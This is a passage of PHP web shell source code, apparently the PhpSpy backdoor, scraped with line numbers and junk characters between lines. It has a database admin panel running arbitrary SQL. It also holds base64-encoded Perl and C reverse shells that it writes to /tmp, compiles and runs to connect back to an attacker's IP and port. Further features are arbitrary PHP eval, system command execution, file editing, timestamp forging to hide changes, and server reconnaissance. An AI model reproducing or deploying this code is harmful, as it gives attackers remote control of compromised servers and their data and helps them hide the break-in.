907.                                         p('</tr>');
     9 H9 j; J, m: b
908.                                         foreach ($rowdb as $row) {
     
909.                                                 $thisbg = bg();
     - T  C2 D9 n6 P$ z1 {3 A
910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
911.                                                 p('<td>'.$row['Field'].'</td>');
     
912.                                                 p('<td>'.$row['Type'].'</td>');
     5 {3 X3 _( |. o7 e  r4 K
913.                                                 p('<td>'.$row['Null'].' </td>');
     
914.                                                 p('<td>'.$row['Key'].' </td>');
     / A0 e6 A$ u- \5 ~: a# {( v
915.                                                 p('<td>'.$row['Default'].' </td>');
     4 h; U# i1 ]# U) B
916.                                                 p('<td>'.$row['Extra'].' </td>');
     
917.                                                 p('</tr>');
     
918.                                         }
     1 a/ @. k  B4 U; x
919.                                         tbfoot();
     
920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
       K1 e1 g; o! L# \+ o9 T
921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
     . s) @2 h: U: {3 O) P
922.                                         while ($row = mysql_fetch_array($result)) {
     $ F0 b/ i1 r; t* _- f
923.                                                 $rowdb[] = $row;
     
924.                                         }
     + s/ E# R  u- p5 t5 R) z
925.                                         $rs = array();
     ! Y3 Q! @8 T6 O: F
926.                                         if ($doing == 'insert') {
     
927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
     # I- r$ @; B$ r* w# B
928.                                         } else {
     
929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
     $ m+ R8 Y- @9 a( h
930.                                                 $where = base64_decode($base64);
     5 j# [$ k8 r! i! }6 Y: m; `! c
931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
     
932.                                                 $rs = mysql_fetch_array($result);
     
933.                                         }
     
934.                                         p('<form method="post" action="'.$self.'">');
     . g0 J2 q% M" m- h: a% P
935.                                         p($dbform);
     3 q9 W4 R6 P4 U, l: \
936.                                         makehide('action','sqladmin');
     6 r! ^+ _7 `! V# f+ j& c; K! @- e
937.                                         makehide('tablename',$tablename);
     
938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     5 L6 [, V4 [* [( \7 d2 k" R8 p
939.                                         foreach ($rowdb as $row) {
     
940.                                                 if ($rs[$row['Field']]) {
     
941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
     / p2 b2 K8 Z2 V$ v
942.                                                 } else {
     # Y6 u6 H0 H" t( Q
943.                                                         $value = '';
     9 u. N) G& n/ v* |
944.                                                 }
     , K* M9 G% |6 H  b3 j9 _
945.                                                 $thisbg = bg();
     
946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
     
948.                                         }
     
949.                                         if ($doing == 'insert') {
     + s4 y% c5 N. L' @
950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
     : N5 I' D. Y! {( I$ a
951.                                         } else {
     5 i& u! p/ ~( w, x5 c+ P9 K+ D
952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
     ' k% r+ l0 m' q7 m7 P  W
953.                                                 makehide('base64', $base64);
     
954.                                         }
     
955.                                         p('</table></form>');
     
956.                                 } else {
     2 ^9 N" K4 q" b2 i
957.                                         $querys = @explode(';',$sql_query);
     
958.                                         foreach($querys as $num=>$query) {
     
959.                                                 if ($query) {
     8 P" G( ]1 B8 d, Q& P* T5 H- f. p
960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
     
961.                                                         switch(qy($query))
     
962.                                                         {
     4 k( N+ w! z% J. k# d( E
963.                                                                 case 0:
     $ [7 V- V5 ]+ K" h. C, |- e* Y
964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
     : G% Z5 Y/ m/ C3 ~
965.                                                                         break;       
     7 Q9 b- x4 G0 w) _/ q2 N5 _7 s) t
966.                                                                 case 1:
     
967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {
     
968.                                                                                 $allowedit = 1;
     
969.                                                                         }
     ; r) F' J7 _' y, O- N' J5 n3 l
970.                                                                         if ($getnumsql) {
     
971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));
     
972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);
     
973.                                                                         }
     
974.                                                                         if (!$tablename) {
     
975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
     % {: p7 Q7 t- u7 U
976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
     
977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
     9 P/ }" J4 a6 k& b
978.                                                                                 $tablename = $matches[1][0];
     
979.                                                                         }
     , c/ r, G8 {8 @/ g8 \
980.                                                                         $result = q($query);
     
981.                                                                         p($multipage);
     
982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
     7 E0 z6 Y2 }) y' X" s* p2 k# J
983.                                                                         p('<tr class="head">');
     
984.                                                                         if ($allowedit) p('<td>Action</td>');
     
985.                                                                         $fieldnum = @mysql_num_fields($result);
     ' Y2 c% g  p  x) L& c0 _
986.                                                                         for($i=0;$i<$fieldnum;$i++){
     # z, o& B! z  k% d/ o
987.                                                                                 $name = @mysql_field_name($result, $i);
     6 j  a8 M! H; ^5 ^! I7 [
988.                                                                                 $type = @mysql_field_type($result, $i);
     * k- u1 f& [* x( [1 O# C" Q
989.                                                                                 $len = @mysql_field_len($result, $i);
     
990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
     ( H" N# H  C; @9 b+ q" c
991.                                                                         }
     
992.                                                                         p('</tr>');
     
993.                                                                         while($mn = @mysql_fetch_assoc($result)){
     
994.                                                                                 $thisbg = bg();
     1 O4 s- X1 U0 `" P- p% a2 o
995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
     
996.                                                                                 $where = $tmp = $b1 = '';
     
997.                                                                                 foreach($mn as $key=>$inside){
     
998.                                                                                         if ($inside) {
     
999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";
     
1000.                                                                                                 $tmp = ' AND ';
      
1001.                                                                                         }
      
1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
      
1003.                                                                                 }
      ! T6 W  `2 s5 @5 s8 p0 L
1004.                                                                                 $where = base64_encode($where);
      + {4 L6 }: j1 G. A! p( W  V, e
1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
      
1006.                                                                                 p($b1);
      1 ]; `" p1 u7 s3 U; o0 Z8 U
1007.                                                                                 p('</tr>');
      
1008.                                                                                 unset($b1);
      - g3 H. V& f5 }3 Y3 [$ l
1009.                                                                         }
      
1010.                                                                         tbfoot();
      0 d/ e0 [- ~$ S/ i
1011.                                                                         p($multipage);
      , `  Z5 ]+ u* Q% K& h* s" t
1012.                                                                         break;       
      * c2 D: d1 M, h" o
1013.                                                                 case 2:
      ( C. S' `; a' k" @/ J
1014.                                                                         $ar = mysql_affected_rows();
      ) r/ \3 P4 s$ {8 r$ G0 `6 s
1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
      6 Z- x! S3 M0 B/ v0 R- K
1016.                                                                         break;
      
1017.                                                         }
      % M  T+ B# m6 j5 p8 ~
1018.                                                 }
      
1019.                                         }
      ) b. ^: o; m+ J2 k5 z. Y( X
1020.                                 }
      
1021.                         } else {
      
1022.                                 $query = q("SHOW TABLE STATUS");
      
1023.                                 $table_num = $table_rows = $data_size = 0;
      
1024.                                 $tabledb = array();
      
1025.                                 while($table = mysql_fetch_array($query)) {
      
1026.                                         $data_size = $data_size + $table['Data_length'];
      
1027.                                         $table_rows = $table_rows + $table['Rows'];
      
1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
      
1029.                                         $table_num++;
      
1030.                                         $tabledb[] = $table;
      
1031.                                 }
      
1032.                                 $data_size = sizecount($data_size);
      
1033.                                 unset($table);
      1 G( I# ]/ _7 G0 V5 _/ N# J2 o+ q
1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');
      
1035.                                 p('<form action="'.$self.'" method="POST">');
      
1036.                                 makehide('action','sqladmin');
      
1037.                                 p($dbform);
      $ f( _' q& a0 h+ g2 e
1038.                                 p('<tr class="head">');
      
1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
      
1040.                                 p('<td>Name</td>');
      " m* t% E$ G- l" Z' N- @% v
1041.                                 p('<td>Rows</td>');
      ; M8 ]: ]$ R3 `, [$ S4 l
1042.                                 p('<td>Data_length</td>');
      0 X% K* h1 r# f8 r0 T, G2 Q
1043.                                 p('<td>Create_time</td>');
      ' b' R* X0 D& E2 x+ I
1044.                                 p('<td>Update_time</td>');
      
1045.                                 if ($highver) {
      ) Q! w. F) g; M' A; B
1046.                                         p('<td>Engine</td>');
      
1047.                                         p('<td>Collation</td>');
      % Y; f2 T0 X6 S( I1 O* v
1048.                                 }
      ! O% u  T, F) p9 F
1049.                                 p('</tr>');
      
1050.                                 foreach ($tabledb as $key => $table) {
      % Z" ]0 `# ~) `0 D, [
1051.                                         $thisbg = bg();
      
1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
      # y! [) F! _& ?% r! B7 D4 C
1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
      
1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
      % i' f2 J, Y2 @. W- P; J
1055.                                         p('<td>'.$table['Rows'].'</td>');
      
1056.                                         p('<td>'.$table['Data_length'].'</td>');
      , U8 N% c, i1 j, o
1057.                                         p('<td>'.$table['Create_time'].'</td>');
      " p, Q# V. H1 {4 x& c: j4 B
1058.                                         p('<td>'.$table['Update_time'].'</td>');
      ' E+ \2 l* }( H) g0 f, f
1059.                                         if ($highver) {
      
1060.                                                 p('<td>'.$table['Engine'].'</td>');
      
1061.                                                 p('<td>'.$table['Collation'].'</td>');
      
1062.                                         }
      $ Y7 K" z! a2 T/ I: a0 V  K) l' s; I
1063.                                         p('</tr>');
      
1064.                                 }
      - Q+ G2 p' ~" p& Y4 `
1065.                                 p('<tr class='.bg().'>');
      
1066.                                 p('<td> </td>');
      ' C* u+ y* G4 m/ k
1067.                                 p('<td>Total tables: '.$table_num.'</td>');
      
1068.                                 p('<td>'.$table_rows.'</td>');
      & [6 B, i3 ^" Z) d& R( j
1069.                                 p('<td>'.$data_size.'</td>');
      
1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
      
1071.                                 p('</tr>');
      / a- k2 o4 u- }
1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
      * |! U$ ~6 i6 c2 q
1073.                                 makehide('doing','backupmysql');
      
1074.                                 formfoot();
      
1075.                                 p("</table>");
      
1076.                                 fr($query);
      + Q, P# t# J( E
1077.                         }
      ! v3 i* G2 S* ?" S( {) k
1078.                 }
        `) [: o6 k/ o1 j" s) D7 I
1079.         }
      
1080.         tbfoot();
      9 y9 O/ h9 F7 z4 V; f
1081.         @mysql_close();
      5 J- m' V1 s* X3 S
1082. }//end sql backup
      ! Y# b$ I1 @8 T, f& E
1083. elseif ($action == 'backconnect') {
      
1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
      
1085.         !$yourport && $yourport = '12345';
      # M- G4 P7 ^1 `! a2 N
1086.         $usedb = array('perl'=>'perl','c'=>'c');
      " d# K, A# N0 s$ M9 _! `! K; B, M( w  \; c
1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
      
1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
      ' x* t/ y" Z0 Q5 ~- x8 A
1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
      
1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
      
1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
      + b. \: X/ V, a
1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
      * K2 K9 X) T. b2 W& _
1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
      1 M/ W$ X* C8 U  C9 y7 r) @
1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
      
1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
      & h  t' j! ^2 Q2 _! l& b1 \& b
1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
      
1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
      
1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
      7 `% r% r& ?1 g
1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
      & P1 }% ^7 d% L: d$ _* M0 y) K4 e! ]# k* W
1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
      
1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
      
1102.         if ($start && $yourip && $yourport && $use){
      
1103.                 if ($use == 'perl') {
      
1104.                         cf('/tmp/angel_bc',$back_connect);
      / z) `8 C: z/ O% P9 L7 B! o
1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
      
1106.                 } else {
      
1107.                         cf('/tmp/angel_bc.c',$back_connect_c);
        j8 u6 X% g/ q( m( h
1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
      
1109.                         @unlink('/tmp/angel_bc.c');
      
1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");
      
1111.                 }
      
1112.                 m("Now script try connect to $yourip port $yourport ...");
      4 @6 Z: `9 _+ ~0 N$ E- X
1113.         }
      
1114.         formhead(array('title'=>'Back Connect'));
      8 v2 e% D  t- K; a7 f4 i% V6 x
1115.         makehide('action','backconnect');
      
1116.         p('<p>');
      
1117.         p('Your IP:');
      : Y! r( c! s: a3 U) \1 G, k
1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
      1 Q5 i8 ?0 e$ O  D
1119.         p('Your Port:');
      9 r7 ^) l$ G; g: y2 m2 m
1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
      
1121.         p('Use:');
      ( _7 O/ D# J3 J% _! W; F. J+ ~
1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
      
1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
      2 }) W+ N& I. Y6 k# V* @, V* ?( {* `
1124.         p('</p>');
      - L( I  S' O" q% z8 o( J
1125.         formfoot();
      7 u, O7 {- W% q$ `
1126. }//end sql backup
      0 ^( V+ ]  U: A
1127. elseif ($action == 'eval') {
      
1128.         $phpcode = trim($phpcode);
      & }' D1 M: V) @
1129.         if($phpcode){
      " N3 e+ j! p' U$ X
1130.                 if (!preg_match('#<\?#si', $phpcode)) {
      8 A# Z. D5 m# F  s2 R
1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
      9 W- R! M0 L7 X1 P4 r5 p% q; G
1132.                 }
      
1133.                 eval("?".">$phpcode<?");
      
1134.         }
      1 }" }! ~$ T8 `8 c
1135.         formhead(array('title'=>'Eval PHP Code'));
      
1136.         makehide('action','eval');
      
1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
      / y% Y5 e% r8 `
1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
      
1139.         formfooter();
      , ~& {5 D- \; {
1140. }//end eval
      ( O  O  [. `  I. R/ m; C/ x
1141. 
      " ^/ K$ n( w  w: ^
1142. elseif ($action == 'editfile') {
      
1143.         if(file_exists($opfile)) {
      
1144.                 $fp=@fopen($opfile,'r');
      + z! }$ P) y5 [& Z1 a
1145.                 $contents=@fread($fp, filesize($opfile));
      " X* C8 G. ~; e2 v, p3 C9 e* h
1146.                 @fclose($fp);
      ) J$ t6 j$ I6 ~) z
1147.                 $contents=htmlspecialchars($contents);
      ! w5 I: R" ?/ [5 ]
1148.         }
      
1149.         formhead(array('title'=>'Create / Edit File'));
      
1150.         makehide('action','file');
      
1151.         makehide('dir',$nowpath);
      . t" q0 I; t* P; {+ f& V! @2 ^' n
1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
      
1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
      - U4 c9 s! T8 X+ F
1154.         formfooter();
      4 X8 c: ^0 V1 _4 }
1155. }//end editfile
      
1156. 
      : K5 z8 F/ u: b6 p
1157. elseif ($action == 'newtime') {
      8 }  M" u& r% G) Y2 C
1158.         $opfilemtime = @filemtime($opfile);
      
1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
      
1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
      
1161.         formhead(array('title'=>'Clone file was last modified time'));
      5 E, k  R4 \( O0 {  ?
1162.         makehide('action','file');
      
1163.         makehide('dir',$nowpath);
      
1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      
1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
      
1166.         formfooter();
      
1167.         formhead(array('title'=>'Set last modified'));
      1 h& F3 b. a6 z; C0 w
1168.         makehide('action','file');
      4 a+ U, E& ?2 ~7 M* U
1169.         makehide('dir',$nowpath);
      7 c8 o4 d5 ^' v  ]7 L/ _
1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
      
1171.         p('<p>Instead »');
      
1172.         p('year:');
      
1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
      ; [1 Z9 |" Q! `- k- q& e
1174.         p('month:');
      % ?5 ~3 {4 ]: `6 u8 ~$ M; w
1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
      % t) r8 }# p  a4 t+ \; V/ @
1176.         p('day:');
      
1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
      7 o! x/ H9 D- f7 x3 e1 A
1178.         p('hour:');
      
1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
      
1180.         p('minute:');
      . b1 u, d) L8 a8 z) l
1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
      5 S5 g% E4 w5 u* G6 h0 K* v( Z
1182.         p('second:');
      $ |. K: G" h, D+ \; I1 Z+ G0 g
1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
      ' |5 g6 U. R1 F& K- K1 q2 @
1184.         p('</p>');
      
1185.         formfooter();
      & x! C  _* D. Z. d7 @: H% E
1186. }//end newtime
      2 A; f: d+ l& b6 M/ ^, K, B
1187. 
      7 [- V7 n" P8 g% k* ?% \  t: Q" G
1188. elseif ($action == 'shell') {
      : U( Z- Q, o$ |- K
1189.         if (IS_WIN && IS_COM) {
      
1190.                 if($program && $parameter) {
      % i9 f6 N; h8 ]; O. }  Z4 m9 V$ w
1191.                         $shell= new COM('Shell.Application');
      
1192.                         $a = $shell->ShellExecute($program,$parameter);
      * v% J1 M$ b% W) H- [5 D! @
1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
      8 v( x" B) F! e" B
1194.                 }
      ' n6 f5 C7 B# Y/ Q
1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
      
1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
      / N8 }( x6 K' c4 |: |
1197.                 formhead(array('title'=>'Execute Program'));
      $ \$ a2 g) [+ h! S* J
1198.                 makehide('action','shell');
      " P  W' d6 ?0 E8 b1 [, I1 k4 E
1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
      
1200.                 p('<p>');
      . U5 s& f7 f$ y3 z: m. o1 H
1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
      
1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      9 F1 C2 @3 |$ Q" X$ h
1203.                 p('</p>');
      
1204.                 formfoot();
      
1205.         }
      / e6 M, p* Q; y7 e7 u3 ?6 j9 _
1206.         formhead(array('title'=>'Execute Command'));
      ' R9 d% {7 L- x! J5 w" @
1207.         makehide('action','shell');
      
1208.         if (IS_WIN && IS_COM) {
      
1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
      
1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
      5 ]  `5 z; d( K( X1 A, V7 l+ I4 g/ [
1211.         }
      
1212.         p('<p>');
      2 I& c  ~; L, G# c! T7 _3 c
1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
      
1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
      
1215.         p('</p>');
      ' s4 V; C, G4 d& X* N
1216.         formfoot();
      
1217. 
      
1218.         if ($command) {
      : R" Y& P8 z$ A9 M' y: U
1219.                 p('<hr width="100%" noshade /><pre>');
      
1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
      
1221.                         $wsh = new COM('WScript.shell');
      
1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
      8 k6 |3 P8 L( E6 @0 W( |, \
1223.                         $stdout = $exec->StdOut();
      / ]1 r$ \" C8 ?4 _  G
1224.                         $stroutput = $stdout->ReadAll();
      
1225.                         echo $stroutput;
      ! b" V/ a+ _% k4 H' n% a
1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
      
1227.                         $descriptorspec = array(
      $ F( |( C5 t. Z% y/ g$ @; u% P
1228.                            0 => array('pipe', 'r'),
      
1229.                            1 => array('pipe', 'w'),
      
1230.                            2 => array('pipe', 'w')
      6 {. H; K+ [9 p3 k
1231.                         );
      
1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
      
1233.                         if (is_resource($process)) {
      
1234.                                 fwrite($pipes[0], $command."\r\n");
      0 z3 F7 [) n( L1 l  S/ J5 L" D' |
1235.                                 fwrite($pipes[0], "exit\r\n");
      ! Y( j2 q: ^3 v2 n4 }% r. \* s
1236.                                 fclose($pipes[0]);
      
1237.                                 while (!feof($pipes[1])) {
      0 B8 A! x) d6 O2 ^
1238.                                         echo fgets($pipes[1], 1024);
      6 p2 F9 u: @( R, ?
1239.                                 }
      
1240.                                 fclose($pipes[1]);
      
1241.                                 while (!feof($pipes[2])) {
      
1242.                                         echo fgets($pipes[2], 1024);
      $ V1 y9 u" {& Q0 L  Y& Z
1243.                                 }
      - M& _+ ]4 g; G- h; N  z
1244.                                 fclose($pipes[2]);
      2 s* e; @4 n: e7 p( c
1245.                                 proc_close($process);
        B! I% d# O: D' \/ t! u
1246.                         }
      % F6 x4 G0 g# q5 c1 O
1247.                 } else {
      
1248.                         echo(execute($command));
      1 @. c, o0 d1 s; X0 ?2 f
1249.                 }
      5 k, v, J1 r) c; h+ Z
1250.                 p('</pre>');
      
1251.         }
      
1252. }//end shell
      
1253. 
      
1254. elseif ($action == 'phpenv') {
      & A3 ^( j7 _% @: H
1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
      : q) f, C9 J' S$ p: J
1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
      
1257.         !$dis_func && $dis_func = 'No';       
      , Z" E% N3 j! F3 U7 V
1258.         $info = array(
      3 g) g2 ]. G/ @' P0 _
1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
      
1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
        p6 F& |" ]6 ~' F
1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
      
1262.                 4 => array('Server OS',PHP_OS),
      8 x8 p* w) x  \( a- z; V2 z
1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
      
1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
      / v( a2 y4 F5 E, g/ ?4 P5 X
1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
      
1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
      
1267.                 9 => array('The file path',__FILE__),
      " ~$ O8 M: V9 k
1268. 
      
1269.                 10 => array('PHP Version',PHP_VERSION),
      ! a3 W7 B; F6 v3 R, Y* q& A1 k2 E
1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
      
1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
      
1272.                 13 => array('Administrator',$adminmail),
      % r; X) x0 z* p% l2 M/ O
1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
      
1274.                 15 => array('enable_dl',getcfg('enable_dl')),
      8 j$ u6 I% \3 k2 Q( U5 ]
1275.                 16 => array('display_errors',getcfg('display_errors')),
      
1276.                 17 => array('register_globals',getcfg('register_globals')),
      3 d8 L# M; p( d3 K4 y
1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
      ! s$ D3 T+ U+ t& X
1278.                 19 => array('memory_limit',getcfg('memory_limit')),
      % D; m& {" H6 q+ A! l7 N' R: a6 R' O
1279.                 20 => array('post_max_size',getcfg('post_max_size')),
      - I. n- d( I% \% [; y0 q5 e- L
1280.                 21 => array('upload_max_filesize',$upsize),
      ( R& }# l  ?- Q
1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
      4 h8 Z4 ?9 y( Y# o3 A
1282.                 23 => array('disable_functions',$dis_func),
      6 f" o$ U4 q0 B+ R- m0 t
1283.         );
      2 D( }- B# N- M- H4 P! \
1284. 
      4 g. O  m& D0 H+ r& y
1285.         if($phpvarname) {
      
1286.                 m($phpvarname .' : '.getcfg($phpvarname));
      8 J5 I3 A+ w, h$ l* S
1287.         }
      
1288. 
      
1289.         formhead(array('title'=>'Server environment'));
      
